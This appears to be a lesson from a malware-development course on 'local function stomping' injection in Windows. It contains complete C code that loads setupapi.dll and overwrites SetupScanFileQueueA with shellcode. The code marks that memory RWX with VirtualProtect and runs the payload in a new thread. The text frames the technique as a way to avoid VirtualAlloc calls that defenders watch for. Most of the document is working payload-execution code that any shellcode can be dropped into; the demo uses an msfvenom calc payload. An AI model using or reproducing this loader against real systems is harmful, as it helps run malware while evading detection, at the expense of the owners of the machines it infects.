44. Local Function Stomping Injection
Local Function Stomping Injection
Introduction
The previously demonstrated mapping injection modules were used to avoid the usage of VirtualAlloc/Ex
WinAPI calls. This module will demonstrate another method that avoids the usage of these WinAPIs.
Function Stomping
The term "stomping" refers to the act of overwriting or replacing the memory of a function or other data structure in a program with different data.
Function stomping is a technique where the original function's bytes are replaced with new code resulting in the function being replaced or no longer working as intended. Instead, the function will execute different logic. To implement this, a sacrificial function address is required to be stomped.
Choosing a Target Function
Retrieving the address of a function locally is simple, but which function is being retrieved is the main concern with this technique. Overwriting a commonly used function can result in the uncontrolled execution of the payload or the process can crash. Therefore it should be clear that targeting functions exported from ntdll.dll
, kernel32.dll
and kernelbase.dll
is risky. Instead, less commonly used functions should be targeted such as MessageBox
since it will be rarely used by the operating system or other applications.
Using The Stomped Function
When a target function's bytes are replaced with that of the payload's, the function cannot be used anymore unless it is specifically for payload execution. For example, if the target function is MessageBoxA
then the binary should only call MessageBoxA
once, which is when the payload will be executed.
Local Function Stomping Code
For the code demonstration below, the target function is SetupScanFileQueueA. This is a completely random function but is unlikely to cause any problems if it's overwritten. Based on Microsoft's documentation, the function is exported from Setupapi.dll
. Therefore the first step would be to load Setupapi.dll
into the local process memory using LoadLibraryA
and then retrieve the function's address using GetProcAddress
.
The next step would be to stomp the function and replace it with the payload. Ensure the function can be overwritten by marking its memory region as readable and writable using VirtualProtect
. Next, the payload is written into the function's address and finally, VirtualProtect
is used again to mark the region as executable (RX
or RWX
).
#define SACRIFICIAL_DLL "setupapi.dll"#define SACRIFICIAL_FUNC "SetupScanFileQueueA"// ...
BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
PVOID pAddress = NULL;
HMODULE hModule = NULL;
HANDLE hThread = NULL;
printf("[#] Press <Enter> To Load \"%s\" ... ", SACRIFICIAL_DLL);
getchar();
printf("[i] Loading ... ");
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Inserting DLL Into Binary
Instead of loading the DLL using LoadLibrary
and then retrieving the target function's address with GetProcAddress
, it's possible to statically link the DLL into the binary. Using the pragma comment compiler directive allows for this, as shown below.
#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table
The target function can then be simply retrieved using the address-of-operator (e.g. &SetupScanFileQueueA
). The code snippet below updates the previous code snippet to use the pragma comment directive.
#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table// ...
int main() {
HANDLE hThread = NULL;
printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Demo
Retrieving SetupScanFileQueueA
's address.

The original bytes of the SetupScanFileQueueA
function.

Replacing the function's bytes with the Msfvenom calc payload.

Running the payload.
